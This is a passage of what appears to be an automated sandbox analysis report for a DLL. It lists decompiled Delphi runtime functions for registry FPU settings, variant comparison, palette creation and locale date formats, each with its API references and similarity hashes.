				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0xbdc020; // 0x27f
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0xbdc020 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(0xb13261);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0xb13268);
					return RegCloseKey(_v8);
				}
			}

0x00b131f1
0x00b131f3
0x00b131fd
0x00b13219
0x00b13268
0x00b1327a
0x00b1327d
0x00b13286
0x00b1321b
0x00b1321d
0x00b1321e
0x00b13223
0x00b13226
0x00b13229
0x00b13245
0x00b1324c
0x00b1324f
0x00b13252
0x00b13260
0x00b13260

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00B13212
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00B13261,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00B13245
RegCloseKey.ADVAPI32(?,00B13268,00000000,?,00000004,00000000,00B13261,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00B1325B

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 00B13208
FPUMaskValue, xrefs: 00B1323C

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 4fc18507212198c2ccd9d522121c70ef3b43fd7d42a73a244427eb21d59f831f
Instruction ID: 42112dfebcc4365eeaf244c5111df33d4ef10db895f648f930dfd025db812b99
Opcode Fuzzy Hash: 4fc18507212198c2ccd9d522121c70ef3b43fd7d42a73a244427eb21d59f831f
Instruction Fuzzy Hash: CF017975944309B9DB11EF94DC42BE9B7ECEB08F00F9045E5FA04E7690F6745690C754

Uniqueness

Uniqueness Score: -1.00%

Function 00B24350 Relevance: 7.8, APIs: 5, Instructions: 271
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B24350(signed short* __eax, intOrPtr __ecx, signed short* __edx, void* __edi, void* __fp0) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				signed int _v18;
				signed int _v20;
				void* _v24;
				void* _v28;
				char _v44;
				void* __ebp;
				void* _t119;
				signed int _t207;
				intOrPtr _t216;
				intOrPtr _t217;
				intOrPtr _t250;
				intOrPtr _t255;
				intOrPtr _t259;
				intOrPtr _t264;
				intOrPtr _t268;
				void* _t271;
				void* _t273;
				intOrPtr _t274;

				_t278 = __fp0;
				_t269 = __edi;
				_t271 = _t273;
				_t274 = _t273 + 0xffffffd8;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t204 =  *_v8;
				if(( *_v8 & 0x00000fff) >= 0x10f) {
					if(E00B26E74(_t204,  &_v24) == 0) {
						E00B1F34C(__ecx);
					}
					_push( &_v20);
					_t216 = _v16;
					if( *((intOrPtr*)( *_v24 + 8))() == 0) {
						_t207 =  *_v12;
						if((_t207 & 0x00000fff) >= 0x10f) {
							if(E00B26E74(_t207,  &_v28) != 0) {
								_push( &_v18);
								_t217 = _v16;
								if( *((intOrPtr*)( *_v28 + 4))() == 0) {
									_t119 = E00B1F34C(_t217);
									goto L35;
								} else {
									if( *_v8 == _v18) {
										_t119 =  *((intOrPtr*)( *_v28 + 0x2c))(_v16);
										goto L35;
									} else {
										_push( &_v44);
										L00B1E2EC();
										_push(_t271);
										_push(0xb24675);
										_push( *[fs:eax]);
										 *[fs:eax] = _t274;
										_t219 = _v18 & 0x0000ffff;
										E00B20300( &_v44, _v18 & 0x0000ffff, _v8, _t269, _t278);
										E00B1FDBC(_v8,  &_v44);
										if( *_v8 != _v18) {
											E00B1F25C(_t219);
										}
										_pop(_t250);
										 *[fs:eax] = _t250;
										_push(0xb2467c);
										return E00B1FA94( &_v44);
									}
								}
							} else {
								_t119 = E00B1F34C(_t216);
								goto L35;
							}
						} else {
							if(_t207 ==  *_v8) {
								_t119 = E00B250AC(_v8, _v16, _v12, _t278);
								goto L35;
							} else {
								_push( &_v44);
								L00B1E2EC();
								_push(_t271);
								_push(0xb245c6);
								_push( *[fs:eax]);
								 *[fs:eax] = _t274;
								_t224 =  *_v12 & 0x0000ffff;
								E00B20300( &_v44,  *_v12 & 0x0000ffff, _v8, _t269, _t278);
								E00B1FDBC(_v8,  &_v44);
								if( *_v8 !=  *_v12) {
									E00B1F25C(_t224);
								}
								_pop(_t255);
								 *[fs:eax] = _t255;
								_push(0xb245cd);
								return E00B1FA94( &_v44);
							}
						}
					} else {
						if( *_v12 == _v20) {
							_t119 =  *((intOrPtr*)( *_v24 + 0x2c))(_v16);
							goto L35;
						} else {
							_push( &_v44);
							L00B1E2EC();
							_push(_t271);
							_push(0xb2452b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t274;
							_t228 = _v20 & 0x0000ffff;
							E00B20300( &_v44, _v20 & 0x0000ffff, _v12, _t269, _t278);
							if(_v44 != _v20) {
								E00B1F25C(_t228);
							}
							 *((intOrPtr*)( *_v24 + 0x2c))(_v16);
							_pop(_t259);
							 *[fs:eax] = _t259;
							_push(0xb24695);
							return E00B1FA94( &_v44);
						}
					}
				} else {
					if(E00B26E74( *_v12,  &_v28) != 0) {
						_push( &_v18);
						if( *((intOrPtr*)( *_v28 + 4))() == 0) {
							_push( &_v44);
							L00B1E2EC();
							_push(_t271);
							_push(0xb2448b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t274;
							_t234 =  *_v8 & 0x0000ffff;
							E00B20300( &_v44,  *_v8 & 0x0000ffff, _v12, __edi, __fp0);
							if( *_v8 != _v44) {
								E00B1F25C(_t234);
							}
							E00B250AC(_v8, _v16,  &_v44, _t278);
							_pop(_t264);
							 *[fs:eax] = _t264;
							_push(0xb24695);
							return E00B1FA94( &_v44);
						} else {
							if( *_v8 == _v18) {
								_t119 =  *((intOrPtr*)( *_v28 + 0x2c))(_v16);
								goto L35;
							} else {
								_push( &_v44);
								L00B1E2EC();
								_push(_t271);
								_push(0xb24410);
								_push( *[fs:eax]);
								 *[fs:eax] = _t274;
								_t239 = _v18 & 0x0000ffff;
								E00B20300( &_v44, _v18 & 0x0000ffff, _v8, __edi, __fp0);
								E00B1FDBC(_v8,  &_v44);
								if( *_v8 != _v18) {
									E00B1F25C(_t239);
								}
								_pop(_t268);
								 *[fs:eax] = _t268;
								_push(0xb24417);
								return E00B1FA94( &_v44);
							}
						}
					} else {
						_t119 = E00B1F34C(__ecx);
						L35:
						return _t119;
					}
				}
			}

0x00b24350
0x00b24350
0x00b24351
0x00b24353
0x00b24357
0x00b2435a
0x00b2435d
0x00b24363
0x00b24370
0x00b244a1
0x00b244a3
0x00b244a3
0x00b244ab
0x00b244af
0x00b244bc
0x00b2454c
0x00b24559
0x00b245ef
0x00b245fe
0x00b24602
0x00b2460f
0x00b24690
0x00000000
0x00b24611
0x00b2461b
0x00b2468b
0x00000000
0x00b2461d
0x00b24620
0x00b24621
0x00b24628
0x00b24629
0x00b2462e
0x00b24631
0x00b24634
0x00b2463e
0x00b24649
0x00b24658
0x00b2465a
0x00b2465a
0x00b24661
0x00b24664
0x00b24667
0x00b24674
0x00b24674
0x00b2461b
0x00b245f1
0x00b245f1
0x00000000
0x00b245f1
0x00b2455f
0x00b24568
0x00b245d6
0x00000000
0x00b2456a
0x00b2456d
0x00b2456e
0x00b24575
0x00b24576
0x00b2457b
0x00b2457e
0x00b24584
0x00b2458d
0x00b24598
0x00b245a9
0x00b245ab
0x00b245ab
0x00b245b2
0x00b245b5
0x00b245b8
0x00b245c5
0x00b245c5
0x00b24568
0x00b244c2
0x00b244cc
0x00b24541
0x00000000
0x00b244ce
0x00b244d1
0x00b244d2
0x00b244d9
0x00b244da
0x00b244df
0x00b244e2
0x00b244e5
0x00b244ef
0x00b244fc
0x00b244fe
0x00b244fe
0x00b24512
0x00b24517
0x00b2451a
0x00b2451d
0x00b2452a
0x00b2452a
0x00b244cc
0x00b24376
0x00b24386
0x00b24395
0x00b243a6
0x00b24431
0x00b24432
0x00b24439
0x00b2443a
0x00b2443f
0x00b24442
0x00b24448
0x00b24451
0x00b24460
0x00b24462
0x00b24462
0x00b24470
0x00b24477
0x00b2447a
0x00b2447d
0x00b2448a
0x00b243ac
0x00b243b6
0x00b24426
0x00000000
0x00b243b8
0x00b243bb
0x00b243bc
0x00b243c3
0x00b243c4
0x00b243c9
0x00b243cc
0x00b243cf
0x00b243d9
0x00b243e4
0x00b243f3
0x00b243f5
0x00b243f5
0x00b243fc
0x00b243ff
0x00b24402
0x00b2440f
0x00b2440f
0x00b243b6
0x00b24388
0x00b24388
0x00b24695
0x00b24699
0x00b24699
0x00b24386

APIs

VariantInit.OLEAUT32(?), ref: 00B243BC
VariantInit.OLEAUT32(?), ref: 00B244D2

Part of subcall function 00B26E74: RtlEnterCriticalSection.KERNEL32(00BDF82C,?,?,?,00000000,?,00B25340,00000000,00B253E6,?,?,?,?,?,00B1F2DF,00000000), ref: 00B26EAA
Part of subcall function 00B26E74: RtlLeaveCriticalSection.KERNEL32(00BDF82C,00B26F23,?,00BDF82C,?,?,?,00000000,?,00B25340,00000000,00B253E6), ref: 00B26F16

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalInitSectionVariant$EnterLeave
String ID:
API String ID: 2777075435-0
Opcode ID: 920ad189934fe511a379e783a30fd78b94ba5dc4dcf7a7a9093f629327261f0e
Instruction ID: 1cfb63a01967b25fce6c4ba30b0cf03b28cab29cc0ab329d47b089b4df9d0816
Opcode Fuzzy Hash: 920ad189934fe511a379e783a30fd78b94ba5dc4dcf7a7a9093f629327261f0e
Instruction Fuzzy Hash: 51B11539A00219EFCB10EFA4E4918EDB7F9FF49710F9044E1E808A7A15D734AE85DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00B38018 Relevance: 7.6, APIs: 5, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00B38018(struct HPALETTE__* __eax) {
				struct HPALETTE__* _t21;
				char _t28;
				signed int _t30;
				struct HPALETTE__* _t36;
				struct HPALETTE__* _t37;
				struct HDC__* _t38;
				intOrPtr _t39;

				_t21 = __eax;
				_t36 = __eax;
				_t39 =  *((intOrPtr*)(__eax + 0x28));
				if( *((char*)(__eax + 0x30)) == 0 &&  *(_t39 + 0x10) == 0 &&  *((intOrPtr*)(_t39 + 0x14)) != 0) {
					_t22 =  *((intOrPtr*)(_t39 + 0x14));
					if( *((intOrPtr*)(_t39 + 0x14)) ==  *((intOrPtr*)(_t39 + 8))) {
						E00B36A78(_t22);
					}
					_t21 = E00B35B74( *((intOrPtr*)(_t39 + 0x14)), 1 <<  *(_t39 + 0x3e));
					_t37 = _t21;
					 *(_t39 + 0x10) = _t37;
					if(_t37 == 0) {
						_push(0);
						L00B171A4();
						_t21 = E00B35484(_t21);
						_t38 = _t21;
						if( *((char*)(_t39 + 0x71)) != 0) {
							L9:
							_t28 = 1;
						} else {
							_push(0xc);
							_push(_t38);
							L00B16F24();
							_push(0xe);
							_push(_t38);
							L00B16F24();
							_t30 = _t21 * _t21;
							_t21 = ( *(_t39 + 0x2a) & 0x0000ffff) * ( *(_t39 + 0x28) & 0x0000ffff);
							if(_t30 < _t21) {
								goto L9;
							} else {
								_t28 = 0;
							}
						}
						 *((char*)(_t39 + 0x71)) = _t28;
						if(_t28 != 0) {
							_t21 = CreateHalftonePalette(_t38);
							 *(_t39 + 0x10) = _t21;
						}
						_push(_t38);
						_push(0);
						L00B173DC();
						if( *(_t39 + 0x10) == 0) {
							 *((char*)(_t36 + 0x30)) = 1;
							return _t21;
						}
					}
				}
				return _t21;
			}

0x00b38018
0x00b3801c
0x00b3801e
0x00b38025
0x00b3803f
0x00b38045
0x00b38047
0x00b38047
0x00b3805e
0x00b38063
0x00b38065
0x00b3806a
0x00b3806c
0x00b3806e
0x00b38073
0x00b38078
0x00b3807e
0x00b380a7
0x00b380a7
0x00b38080
0x00b38080
0x00b38082
0x00b38083
0x00b3808a
0x00b3808c
0x00b3808d
0x00b38092
0x00b3809d
0x00b380a1
0x00000000
0x00b380a3
0x00b380a3
0x00b380a3
0x00b380a1
0x00b380a9
0x00b380ae
0x00b380b1
0x00b380b6
0x00b380b6
0x00b380b9
0x00b380ba
0x00b380bc
0x00b380c5
0x00b380c7
0x00000000
0x00b380c7
0x00b380c5
0x00b3806a
0x00b380cf

APIs

73BEAC50.USER32(00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3806E
73BEAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B38083
73BEAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B3808D
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380B1
73BEB380.USER32(00000000,00000000,00000000,?,?,?,?,00B36C4F,00000000,00B36CDB), ref: 00B380BC

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: B380CreateHalftonePalette
String ID:
API String ID: 178651289-0
Opcode ID: 0fba0536c1c151285a3fdbdbd370115afa4dc770d1e103635745386161a291d9
Instruction ID: cc9614a7fc18338b93b2fe956813b4191a6d9d83fd21964ad553da70fe9b397b
Opcode Fuzzy Hash: 0fba0536c1c151285a3fdbdbd370115afa4dc770d1e103635745386161a291d9
Instruction Fuzzy Hash: 8411E6216813999EDB34EF24D8417EE3BE0EF11351F5401A1FC409B281DBB48C98C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00B35ADC Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00B35ADC(intOrPtr __eax) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _t14;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr _t21;
				intOrPtr _t30;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff8;
				_v5 = 0;
				if( *0xbdf894 == 0) {
					return _v5;
				} else {
					_push(0);
					L00B171A4();
					_v12 = __eax;
					_push(_t32);
					_push(0xb35b62);
					_push( *[fs:edx]);
					 *[fs:edx] = _t35;
					_push(0x68);
					_t14 = _v12;
					_push(_t14);
					L00B16F24();
					if(_t14 >= 0x10) {
						_push(__eax + 4);
						_push(8);
						_push(0);
						_t18 =  *0xbdf894; // 0x350808d9
						_push(_t18);
						L00B16F34();
						_push(__eax + ( *(__eax + 2) & 0x0000ffff) * 4 - 0x1c);
						_push(8);
						_push(8);
						_t21 =  *0xbdf894; // 0x350808d9
						_push(_t21);
						L00B16F34();
						_v5 = 1;
					}
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(0xb35b69);
					_t16 = _v12;
					_push(_t16);
					_push(0);
					L00B173DC();
					return _t16;
				}
			}

0x00b35add
0x00b35adf
0x00b35ae5
0x00b35af0
0x00b35b70
0x00b35af2
0x00b35af2
0x00b35af4
0x00b35af9
0x00b35afe
0x00b35aff
0x00b35b04
0x00b35b07
0x00b35b0a
0x00b35b0c
0x00b35b0f
0x00b35b10
0x00b35b18
0x00b35b1d
0x00b35b1e
0x00b35b20
0x00b35b22
0x00b35b27
0x00b35b28
0x00b35b35
0x00b35b36
0x00b35b38
0x00b35b3a
0x00b35b3f
0x00b35b40
0x00b35b45
0x00b35b45
0x00b35b4b
0x00b35b4e
0x00b35b51
0x00b35b56
0x00b35b59
0x00b35b5a
0x00b35b5c
0x00b35b61
0x00b35b61

APIs

73BEAC50.USER32(00000000), ref: 00B35AF4
73BEAD70.GDI32(?,00000068,00000000,00B35B62,?,00000000), ref: 00B35B10
73BEAEA0.GDI32(350808D9,00000000,00000008,?,?,00000068,00000000,00B35B62,?,00000000), ref: 00B35B28
73BEAEA0.GDI32(350808D9,00000008,00000008,?,350808D9,00000000,00000008,?,?,00000068,00000000,00B35B62,?,00000000), ref: 00B35B40
73BEB380.USER32(00000000,?,00B35B69,00B35B62,?,00000000), ref: 00B35B5C

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: B380
String ID:
API String ID: 120756276-0
Opcode ID: 44e116c24c13e29776b481d0ef69205078913e2c582b6b97c3504800676efd0f
Instruction ID: 62ba5e65da977270486e56aed697c0f1bc56e1944e119df761d4617de25dabff
Opcode Fuzzy Hash: 44e116c24c13e29776b481d0ef69205078913e2c582b6b97c3504800676efd0f
Instruction Fuzzy Hash: 2611E13168D244BEFB10CFA49C42FA9BBE8E705700F9480D6F5049B1C1EA769545C721

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BC90 Relevance: 7.6, APIs: 5, Instructions: 50
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B1BC90(void* __esi, void* __eflags) {
				char _v8;
				intOrPtr* _t18;
				intOrPtr _t26;
				void* _t27;
				long _t29;
				intOrPtr _t32;
				void* _t33;

				_t33 = __eflags;
				_push(0);
				_push(_t32);
				_push(0xb1bd27);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E00B1BA08(GetThreadLocale(), 0xb1bd3c, 0x100b,  &_v8);
				_t29 = E00B18C68(0xb1bd3c, 1, _t33);
				if(_t29 + 0xfffffffd - 3 < 0) {
					EnumCalendarInfoA(E00B1BBDC, GetThreadLocale(), _t29, 4);
					_t27 = 7;
					_t18 = 0xbdf770;
					do {
						 *_t18 = 0xffffffff;
						_t18 = _t18 + 4;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					EnumCalendarInfoA(E00B1BC18, GetThreadLocale(), _t29, 3);
				}
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(0xb1bd2e);
				return E00B14228( &_v8);
			}

0x00b1bc90
0x00b1bc93
0x00b1bc98
0x00b1bc99
0x00b1bc9e
0x00b1bca1
0x00b1bcb7
0x00b1bcc9
0x00b1bcd3
0x00b1bce3
0x00b1bce8
0x00b1bced
0x00b1bcf2
0x00b1bcf2
0x00b1bcf8
0x00b1bcfb
0x00b1bcfb
0x00b1bd0c
0x00b1bd0c
0x00b1bd13
0x00b1bd16
0x00b1bd19
0x00b1bd26

APIs

GetThreadLocale.KERNEL32(?,00000000,00B1BD27,?,?,00000000), ref: 00B1BCA8

Part of subcall function 00B1BA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00B1BA26

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00B1BD27,?,?,00000000), ref: 00B1BCD8
EnumCalendarInfoA.KERNEL32(Function_0000BBDC,00000000,00000000,00000004), ref: 00B1BCE3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,00B1BD27,?,?,00000000), ref: 00B1BD01
EnumCalendarInfoA.KERNEL32(Function_0000BC18,00000000,00000000,00000003), ref: 00B1BD0C

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 4a42c3ea63e4e2806426e8a2f42d6e6a976df452639ba1297e20dd92b2b5174d
Instruction ID: fb18cf437d3ce19f5bac26d353991a4697934f166b774786930b0c9ee1d5d4ca
Opcode Fuzzy Hash: 4a42c3ea63e4e2806426e8a2f42d6e6a976df452639ba1297e20dd92b2b5174d
Instruction Fuzzy Hash: D001A271204248ABE701A774DC13FEA76D8DB45B14FE145F0F400AABD1DB749EC082A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B1BD40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
threadCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00B1BD40(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				void* _t41;
				signed int _t45;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t92;
				intOrPtr _t111;
				void* _t122;
				void* _t124;
				intOrPtr _t127;
				void* _t128;

				_t128 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t122 = __edx;
				_t124 = __eax;
				_push(_t127);
				_push(0xb1bf0a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t127;
				_t92 = 1;
				E00B14228(__edx);
				E00B1BA08(GetThreadLocale(), 0xb1bf20, 0x1009,  &_v12);
				if(E00B18C68(0xb1bf20, 1, _t128) + 0xfffffffd - 3 < 0) {
					while(1) {
						_t41 = E00B144E8(_t124);
						__eflags = _t92 - _t41;
						if(_t92 > _t41) {
							break;
						}
						__eflags =  *(_t124 + _t92 - 1) & 0x000000ff;
						asm("bt [0xbdc11c], eax");
						if(( *(_t124 + _t92 - 1) & 0x000000ff) >= 0) {
							_t45 = E00B192C8(_t124 + _t92 - 1, 2, 0xb1bf24);
							__eflags = _t45;
							if(_t45 != 0) {
								_t47 = E00B192C8(_t124 + _t92 - 1, 4, 0xb1bf34);
								__eflags = _t47;
								if(_t47 != 0) {
									_t49 = E00B192C8(_t124 + _t92 - 1, 2, 0xb1bf4c);
									__eflags = _t49;
									if(_t49 != 0) {
										_t51 =  *(_t124 + _t92 - 1) - 0x59;
										__eflags = _t51;
										if(_t51 == 0) {
											L24:
											E00B144F0(_t122, 0xb1bf64);
											L26:
											_t92 = _t92 + 1;
											__eflags = _t92;
											continue;
										}
										__eflags = _t51 != 0x20;
										if(_t51 != 0x20) {
											E00B14410();
											E00B144F0(_t122, _v24);
											goto L26;
										}
										goto L24;
									}
									E00B144F0(_t122, 0xb1bf58);
									_t92 = _t92 + 1;
									goto L26;
								}
								E00B144F0(_t122, 0xb1bf44);
								_t92 = _t92 + 3;
								goto L26;
							}
							E00B144F0(_t122, 0xb1bf30);
							_t92 = _t92 + 1;
							goto L26;
						}
						_v8 = E00B1CDF8(_t124, _t92);
						E00B14748(_t124, _v8, _t92,  &_v20);
						E00B144F0(_t122, _v20);
						_t92 = _t92 + _v8;
					}
					L28:
					_pop(_t111);
					 *[fs:eax] = _t111;
					_push(0xb1bf11);
					return E00B1424C( &_v24, 4);
				}
				_t75 =  *0xbdf748; // 0x9
				_t76 = _t75 - 4;
				if(_t76 == 0 || _t76 + 0xfffffff3 - 2 < 0) {
					_t77 = 1;
				} else {
					_t77 = 0;
				}
				if(_t77 == 0) {
					E00B1427C(_t122, _t124);
				} else {
					while(_t92 <= E00B144E8(_t124)) {
						_t83 =  *(_t124 + _t92 - 1) - 0x47;
						__eflags = _t83;
						if(_t83 != 0) {
							__eflags = _t83 != 0x20;
							if(_t83 != 0x20) {
								E00B14410();
								E00B144F0(_t122, _v16);
							}
						}
						_t92 = _t92 + 1;
						__eflags = _t92;
					}
				}
			}

0x00b1bd40
0x00b1bd45
0x00b1bd46
0x00b1bd47
0x00b1bd48
0x00b1bd49
0x00b1bd4d
0x00b1bd4f
0x00b1bd53
0x00b1bd54
0x00b1bd59
0x00b1bd5c
0x00b1bd5f
0x00b1bd66
0x00b1bd7e
0x00b1bd96
0x00b1bee0
0x00b1bee2
0x00b1bee7
0x00b1bee9
0x00000000
0x00000000
0x00b1bdff
0x00b1be04
0x00b1be0b
0x00b1be49
0x00b1be4e
0x00b1be50
0x00b1be6f
0x00b1be74
0x00b1be76
0x00b1be97
0x00b1be9c
0x00b1be9e
0x00b1beb3
0x00b1beb3
0x00b1beb5
0x00b1bebb
0x00b1bec2
0x00b1bedf
0x00b1bedf
0x00b1bedf
0x00000000
0x00b1bedf
0x00b1beb7
0x00b1beb9
0x00b1bed0
0x00b1beda
0x00000000
0x00b1beda
0x00000000
0x00b1beb9
0x00b1bea7
0x00b1beac
0x00000000
0x00b1beac
0x00b1be7f
0x00b1be84
0x00000000
0x00b1be84
0x00b1be59
0x00b1be5e
0x00000000
0x00b1be5e
0x00b1be16
0x00b1be24
0x00b1be2e
0x00b1be33
0x00b1be33
0x00b1beef
0x00b1bef1
0x00b1bef4
0x00b1bef7
0x00b1bf09
0x00b1bf09
0x00b1bd9c
0x00b1bda1
0x00b1bda4
0x00b1bdb2
0x00b1bdae
0x00b1bdae
0x00b1bdae
0x00b1bdb6
0x00b1bdf1
0x00b1bdb8
0x00b1bddd
0x00b1bdbe
0x00b1bdbe
0x00b1bdc0
0x00b1bdc2
0x00b1bdc4
0x00b1bdcd
0x00b1bdd7
0x00b1bdd7
0x00b1bdc4
0x00b1bddc
0x00b1bddc
0x00b1bddc
0x00b1bde8

APIs

GetThreadLocale.KERNEL32(?,00000000,00B1BF0A,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00B1BD6F

Part of subcall function 00B1BA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00B1BA26

Strings

ggg, xrefs: 00B1BE54
yyyy, xrefs: 00B1BE61
eeee, xrefs: 00B1BE7A

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: c2195403323d8483b3f359a1faf9d45e402f0af0bbde2b92e1a30c069d7106a3
Instruction ID: a5b7283244eb10b4e3aca4aa71778201889d37351bc6ade3a7d5aad2b058731c
Opcode Fuzzy Hash: c2195403323d8483b3f359a1faf9d45e402f0af0bbde2b92e1a30c069d7106a3
Instruction Fuzzy Hash: 9541DC763041054BCB15EB78E892AFEB7E6DB85304BE449F5E541C3356DB30ADC286A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B3E6F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00B3E6F0(void* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t46;
				int _t56;
				void* _t68;
				void* _t71;
				void* _t85;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr _t102;
				void* _t108;
				intOrPtr _t110;
				void* _t113;

				_v28 = 0;
				_t110 = __edx;
				_t85 = __eax;
				_push(_t113);
				_push(0xb3e8ce);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xffffffe8;
				if(__edx == 0) {
					L8:
					if( *((intOrPtr*)(_t85 + 0x20c)) == 0) {
						L12:
